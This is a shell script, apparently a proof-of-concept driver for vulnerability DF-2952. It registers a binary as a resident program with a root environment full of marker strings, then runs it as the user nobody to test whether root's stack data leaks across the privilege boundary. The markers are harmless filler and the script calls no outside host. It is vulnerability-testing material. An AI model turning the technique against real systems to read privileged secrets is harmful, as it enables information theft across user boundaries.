#!/bin/sh
# DF-2952 PoC driver - run ON THE GUEST as root.
# Registers /tmp/df2952/victim as a resident binary with a poisoned
# root environment, then runs the leak check as an unprivileged user.
set -e
DIR=/tmp/df2952
VICTIM=$DIR/victim

echo "=== build ==="
mkdir -p $DIR
cc -O0 -o $VICTIM $DIR/victim.c
file $VICTIM || true

echo "=== unregister any previous registration of the victim ==="
/usr/sbin/resident -x 1 2>/dev/null || true
/usr/sbin/resident -R 2>/dev/null || true

echo "=== register as root with poisoned environment ==="
# ~ 20 KiB of unique marker data that only ever exists in the ROOT
# registration run's environment (and hence only on its stack).
DF2952_SECRET_00="$(perl -e 'print "DF2952MARKER_S00_", "A"x980' 2>/dev/null || printf 'DF2952MARKER_S00_AAAAAAAAAA')" \
DF2952_SECRET_01="$(perl -e 'print "DF2952MARKER_S01_", "B"x980' 2>/dev/null || printf 'DF2952MARKER_S01_BBBBBBBB')" \
DF2952_SECRET_02="$(perl -e 'print "DF2952MARKER_S02_", "C"x980' 2>/dev/null || printf 'DF2952MARKER_S02_CCCCCCCC')" \
DF2952_SECRET_03="$(perl -e 'print "DF2952MARKER_S03_", "D"x980' 2>/dev/null || printf 'DF2952MARKER_S03_DDDDDDDD')" \
DF2952_SECRET_04="$(perl -e 'print "DF2952MARKER_S04_", "E"x980' 2>/dev/null || printf 'DF2952MARKER_S04_EEEEEEEE')" \
DF2952_SECRET_05="$(perl -e 'print "DF2952MARKER_S05_", "F"x980' 2>/dev/null || printf 'DF2952MARKER_S05_FFFFFFFF')" \
DF2952_SECRET_06="$(perl -e 'print "DF2952MARKER_S06_", "G"x980' 2>/dev/null || printf 'DF2952MARKER_S06_GGGGGGGG')" \
DF2952_SECRET_07="$(perl -e 'print "DF2952MARKER_S07_", "H"x980' 2>/dev/null || printf 'DF2952MARKER_S07_HHHHHHHH')" \
DF2952_SECRET_08="$(perl -e 'print "DF2952MARKER_S08_", "J"x980' 2>/dev/null || printf 'DF2952MARKER_S08_JJJJJJJJ')" \
DF2952_SECRET_09="$(perl -e 'print "DF2952MARKER_S09_", "K"x980' 2>/dev/null || printf 'DF2952MARKER_S09_KKKKKKKK')" \
DF2952_SECRET_10="$(perl -e 'print "DF2952MARKER_S10_", "L"x980' 2>/dev/null || printf 'DF2952MARKER_S10_LLLLLLLL')" \
DF2952_SECRET_11="$(perl -e 'print "DF2952MARKER_S11_", "M"x980' 2>/dev/null || printf 'DF2952MARKER_S11_MMMMMMMM')" \
DF2952_SECRET_12="$(perl -e 'print "DF2952MARKER_S12_", "N"x980' 2>/dev/null || printf 'DF2952MARKER_S12_NNNNNNNN')" \
DF2952_SECRET_13="$(perl -e 'print "DF2952MARKER_S13_", "P"x980' 2>/dev/null || printf 'DF2952MARKER_S13_PPPPPPPP')" \
DF2952_SECRET_14="$(perl -e 'print "DF2952MARKER_S14_", "Q"x980' 2>/dev/null || printf 'DF2952MARKER_S14_QQQQQQQQ')" \
DF2952_SECRET_15="$(perl -e 'print "DF2952MARKER_S15_", "R"x980' 2>/dev/null || printf 'DF2952MARKER_S15_RRRRRRRR')" \
DF2952_SECRET_16="$(perl -e 'print "DF2952MARKER_S16_", "S"x980' 2>/dev/null || printf 'DF2952MARKER_S16_SSSSSSSS')" \
DF2952_SECRET_17="$(perl -e 'print "DF2952MARKER_S17_", "T"x980' 2>/dev/null || printf 'DF2952MARKER_S17_TTTTTTTT')" \
DF2952_SECRET_18="$(perl -e 'print "DF2952MARKER_S18_", "U"x980' 2>/dev/null || printf 'DF2952MARKER_S18_UUUUUUUU')" \
DF2952_SECRET_19="$(perl -e 'print "DF2952MARKER_S19_", "V"x980' 2>/dev/null || printf 'DF2952MARKER_S19_VVVVVVVV')" \
	/usr/sbin/resident -f $VICTIM

echo "=== list registrations ==="
/usr/sbin/resident -l || true

echo "=== leak check as unprivileged user (empty env) ==="
su -m nobody -c "env -i $VICTIM leakcheck" || true

echo "=== leak check again (second exec, user maxx) ==="
su -m nobody -c "env -i $VICTIM leakcheck" || true

echo "=== control: run victim directly (unregistered path would be fresh) ==="
echo "(control is informational only)"